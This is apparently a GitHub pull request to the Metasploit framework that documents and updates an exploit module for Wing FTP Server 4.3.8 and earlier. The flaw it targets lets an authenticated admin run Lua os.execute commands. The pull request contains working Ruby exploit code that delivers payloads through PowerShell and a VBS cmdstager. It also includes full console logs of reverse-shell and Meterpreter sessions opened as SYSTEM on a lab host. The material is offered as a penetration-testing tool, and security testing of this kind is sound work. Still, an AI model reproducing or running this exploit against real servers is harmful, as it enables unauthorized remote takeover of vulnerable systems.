Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Improvements and documentation for wing_ftp_admin_exec #11077

Merged
merged 9 commits into from
Mar 5, 2019
217 changes: 217 additions & 0 deletions documentation/modules/exploit/windows/ftp/wing_ftp_admin_exec.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,217 @@
## Description

This module exploits the embedded Lua interpreter in the admin web interface for versions 4.3.8 and below. When supplying a specially crafted HTTP POST request an attacker can use os.execute() to execute arbitrary system commands on the target with SYSTEM privileges.

## Vulnerable application

Wing FTP Server <= 4.3.8

## Verification Steps
1. Start `msfconsole`
2. Do `use exploit/windows/ftp/wing_ftp_admin_exec`
3. Do `set RHOST <target-ip>`
4. Do `set USERNAME <valid-username>`
5. Do `set PASSWORD <valid-password>`
6. Optional: Do `set PAYLOAD windows/<your-preferred-shell>` (default is `windows\meterpreter\reverse_tcp`)
7. Do `set LHOST <your-ip>`
8. Optional: Do `set TARGET <target>` to specify whether PowerShell/CmdStager will be used (default is `PowerShell`)
9. Do `exploit`
10. Verify that a shell of your specified type (Meterpreter, plain old shell, etc.) pops

## Tested with Wing FTP Server 4.3.8 on Windows Server 2016 Datacenter x64

### With PowerShell using x64/meterpreter ###
```
msf > use exploit/windows/ftp/wing_ftp_admin_exec
msf exploit(windows/ftp/wing_ftp_admin_exec) > set RHOST 192.168.136.151
RHOST => 192.168.136.151
msf exploit(windows/ftp/wing_ftp_admin_exec) > set USERNAME admin
USERNAME => admin
msf exploit(windows/ftp/wing_ftp_admin_exec) > set PASSWORD 5up3r53kr3tp@$$w0rd
PASSWORD => 5up3r53kr3tp@$$w0rd
msf exploit(windows/ftp/wing_ftp_admin_exec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/ftp/wing_ftp_admin_exec) > set LHOST 192.168.136.146
LHOST => 192.168.136.146
msf exploit(windows/ftp/wing_ftp_admin_exec) > exploit

[*] Started reverse TCP handler on 192.168.136.146:4444
[*] Authenticating...
[*] Executing payload via Powershell...
[*] Sending stage (206403 bytes) to 192.168.136.151
[*] Meterpreter session 1 opened (192.168.136.146:4444 -> 192.168.136.151:1616) at 2018-12-07 02:43:10 +0800

meterpreter > sysinfo
Computer : 2K16DTCTR
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
```

### with PowerShell using shell_reverse_tcp ###


```
msf > use exploit/windows/ftp/wing_ftp_admin_exec
msf exploit(windows/ftp/wing_ftp_admin_exec) > set RHOST 192.168.136.151
RHOST => 192.168.136.151
msf exploit(windows/ftp/wing_ftp_admin_exec) > set USERNAME admin
USERNAME => admin
msf exploit(windows/ftp/wing_ftp_admin_exec) > set PASSWORD 5up3r53kr3tp@$$w0rd
PASSWORD => 5up3r53kr3tp@$$w0rd
msf exploit(windows/ftp/wing_ftp_admin_exec) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(windows/ftp/wing_ftp_admin_exec) > set LHOST 192.168.136.146
LHOST => 192.168.136.146
msf exploit(windows/ftp/wing_ftp_admin_exec) > exploit

[*] Started reverse TCP handler on 192.168.136.146:4444
[*] Authenticating...
[*] Executing payload via Powershell...
[*] Command shell session 2 opened (192.168.136.146:4444 -> 192.168.136.151:1623) at 2018-12-07 02:45:32 +0800


C:\Windows\system32>whoami & hostname & ipconfig
whoami & hostname & ipconfig
nt authority\system
2K16DTCTR

Windows IP Configuration


Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::8cb0:9bf1:fefe:5fbd%14
IPv4 Address. . . . . . . . . . . : 192.168.136.151
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.136.2

Tunnel adapter Teredo Tunneling Pseudo-Interface:

Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : 2001:0:9d38:6abd:ced:1cd7:3f57:7768
Link-local IPv6 Address . . . . . : fe80::ced:1cd7:3f57:7768%18
Default Gateway . . . . . . . . . : ::

Tunnel adapter isatap.localdomain:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : localdomain

C:\Windows\system32>

```

### with CmdStager using x64/meterpreter ###

```
msf > use exploit/windows/ftp/wing_ftp_admin_exec
msf exploit(windows/ftp/wing_ftp_admin_exec) > set RHOST 192.168.136.151
RHOST => 192.168.136.151
msf exploit(windows/ftp/wing_ftp_admin_exec) > set USERNAME admin
USERNAME => admin
msf exploit(windows/ftp/wing_ftp_admin_exec) > set PASSWORD 5up3r53kr3tp@$$w0rd
PASSWORD => 5up3r53kr3tp@$$w0rd
msf exploit(windows/ftp/wing_ftp_admin_exec) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(windows/ftp/wing_ftp_admin_exec) > set LHOST 192.168.136.146
LHOST => 192.168.136.146
msf exploit(windows/ftp/wing_ftp_admin_exec) > set TARGET CmdStager
TARGET => CmdStager
msf exploit(windows/ftp/wing_ftp_admin_exec) > exploit

[*] Started reverse TCP handler on 192.168.136.146:4444
[*] Authenticating...
[*] Sending payload
[*] Command Stager progress - 12.42% done (1499/12068 bytes)
[*] Command Stager progress - 24.84% done (2998/12068 bytes)
[*] Command Stager progress - 37.26% done (4497/12068 bytes)
[*] Command Stager progress - 49.69% done (5996/12068 bytes)
[*] Command Stager progress - 62.11% done (7495/12068 bytes)
[*] Command Stager progress - 74.53% done (8994/12068 bytes)
[*] Command Stager progress - 86.53% done (10442/12068 bytes)
[*] Command Stager progress - 98.75% done (11917/12068 bytes)
[*] Sending stage (206403 bytes) to 192.168.136.151
[*] Command Stager progress - 100.00% done (12068/12068 bytes)
[*] Meterpreter session 3 opened (192.168.136.146:4444 -> 192.168.136.151:1631) at 2018-12-07 02:49:01 +0800

meterpreter > sysinfo
Computer : 2K16DTCTR
OS : Windows 2016 (Build 14393).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x64/windows
meterpreter >
```

### With CmdStager using shell_reverse_tcp ###

```
msf > use exploit/windows/ftp/wing_ftp_admin_exec
msf exploit(windows/ftp/wing_ftp_admin_exec) > set RHOST 192.168.136.151
RHOST => 192.168.136.151
msf exploit(windows/ftp/wing_ftp_admin_exec) > set USERNAME admin
USERNAME => admin
msf exploit(windows/ftp/wing_ftp_admin_exec) > set PASSWORD 5up3r53kr3tp@$$w0rd
PASSWORD => 5up3r53kr3tp@$$w0rd
msf exploit(windows/ftp/wing_ftp_admin_exec) > set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
msf exploit(windows/ftp/wing_ftp_admin_exec) > set LHOST 192.168.136.146
LHOST => 192.168.136.146
msf exploit(windows/ftp/wing_ftp_admin_exec) > set TARGET CmdStager
TARGET => CmdStager
msf exploit(windows/ftp/wing_ftp_admin_exec) > exploit

[*] Started reverse TCP handler on 192.168.136.146:4444
[*] Authenticating...
[*] Sending payload
[*] Command Stager progress - 1.47% done (1499/102292 bytes)
[*] Command Stager progress - 2.93% done (2998/102292 bytes)
[*] Command Stager progress - 4.40% done (4497/102292 bytes)
[*] Command Stager progress - 5.86% done (5996/102292 bytes)
[*] Command Stager progress - 7.33% done (7495/102292 bytes)
[*] Command Stager progress - 8.79% done (8994/102292 bytes)
[*] Command Stager progress - 10.26% done (10493/102292 bytes)
<... snip ...>
[*] Command Stager progress - 99.55% done (101827/102292 bytes)
[*] Command Stager progress - 100.00% done (102292/102292 bytes)
[*] Command shell session 4 opened (192.168.136.146:4444 -> 192.168.136.151:1639) at 2018-12-07 02:52:10 +0800


C:\Windows\system32>whoami & hostname & ipconfig
whoami & hostname & ipconfig
nt authority\system
2K16DTCTR

Windows IP Configuration


Ethernet adapter Ethernet0:

Connection-specific DNS Suffix . : localdomain
Link-local IPv6 Address . . . . . : fe80::8cb0:9bf1:fefe:5fbd%14
IPv4 Address. . . . . . . . . . . : 192.168.136.151
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.136.2

Tunnel adapter Teredo Tunneling Pseudo-Interface:

Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : 2001:0:9d38:6abd:ced:1cd7:3f57:7768
Link-local IPv6 Address . . . . . : fe80::ced:1cd7:3f57:7768%18
Default Gateway . . . . . . . . . : ::

Tunnel adapter isatap.localdomain:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . : localdomain

C:\Windows\system32>
```
78 changes: 48 additions & 30 deletions modules/exploits/windows/ftp/wing_ftp_admin_exec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -3,10 +3,14 @@
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info = {})
super(update_info(info,
Expand All @@ -19,23 +23,24 @@ def initialize(info = {})
},
'Author' =>
[
'Nicholas Nam <nick[at]executionflow.org>'
'Nicholas Nam <nick[at]executionflow.org>',
'Imran E. Dawoodjee <imrandawoodjee.infosec[at]gmail.com>' # minor improvements
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.wftpserver.com' ]
['URL', 'http://www.wftpserver.com']
bcoles marked this conversation as resolved.
Show resolved Hide resolved
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'Targets' =>
[
[ 'Windows VBS Stager', {} ]
['PowerShell', {}],
['CmdStager', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Jun 19 2014',
'DefaultTarget' => 0
))
'DefaultTarget' => 0))

register_options(
[
Expand All @@ -47,36 +52,52 @@ def initialize(info = {})
deregister_options('CMDSTAGER::FLAVOR')
end

@session_cookie = ''

def check
res = send_request_cgi(
{
'uri' => '/admin_login.html',
'method' => 'GET'
})
authenticate(datastore['USERNAME'], datastore['PASSWORD'])

if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code != 200
fail_with(Failure::NotFound, "#{peer} - Admin login page was not found.")
elsif res.body =~ /Wing FTP Server Administrator/ && res.body =~ /2003-2014 <b>wftpserver.com<\/b>/
return Exploit::CheckCode::Appears
end
ver = send_request_cgi(
'uri' => '/admin_license.html',
'method' => 'POST',
'cookie' => @session_cookie
)

if ver.code != 200
return Exploit::CheckCode::Unknown
elsif ver.get_html_document.text.to_s.include? "Wing FTP Server"
version = ver.get_html_document.at('span').text.to_s
vprint_status "Found #{version}"
if version[/([0-4]\.[0-3]\.[0-8])/]
bcoles marked this conversation as resolved.
Show resolved Hide resolved
print_good("#{version} appears vulnerable.")
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Safe
return Exploit::CheckCode::Safe
bcoles marked this conversation as resolved.
Show resolved Hide resolved
end
end

def exploit
username = datastore['USERNAME']
password = datastore['PASSWORD']
@session_cookie = authenticate(username, password)
unless [CheckCode::Appears].include? check
fail_with Failure::NotVulnerable, 'Target is most likely not vulnerable!'
end

print_status("Sending payload")
# Execute the cmdstager, max length of the commands is ~1500
execute_cmdstager(flavor: :vbs, linemax: 1500)
case target.name
when 'PowerShell'
print_status('Executing payload via Powershell...')
psh_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, remove_comspec: true)
execute_command(psh_command)
when 'CmdStager'
print_status("Sending payload")
# Execute the cmdstager, max length of the commands is ~1500
execute_cmdstager(flavor: :vbs, linemax: 1500)
end
end

def execute_command(cmd, _opts = {})
command = "os.execute('cmd /c #{cmd}')"
# Powershell cmd has a lot of special characters. Wrap it with [[ ]] to prevent problems.
# We also don't need to append "cmd.exe /c" for the commands
command = "os.execute([[#{cmd}]])"

res = send_request_cgi(
'uri' => '/admin_lua_script.html',
Expand All @@ -91,7 +112,7 @@ def execute_command(cmd, _opts = {})
end

def authenticate(username, password)
print_status("Authenticating")
print_status("Authenticating...")
res = send_request_cgi(
'uri' => '/admin_loginok.html',
'method' => 'POST',
Expand All @@ -104,19 +125,16 @@ def authenticate(username, password)
}
)

uidadmin = ''
if !res
fail_with(Failure::Unreachable, "#{peer} - Admin login page was unreachable.")
elsif res.code == 200 && res.body =~ /location='main.html\?lang=english';/
res.get_cookies.split(';').each do |cookie|
cookie.split(',').each do |value|
uidadmin = value.split('=')[1] if value.split('=')[0] =~ /UIDADMIN/
@session_cookie = value.to_s if value.split('=')[0] =~ /UIDADMIN/
end
end
else
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
end

"UIDADMIN=#{uidadmin}"
end
end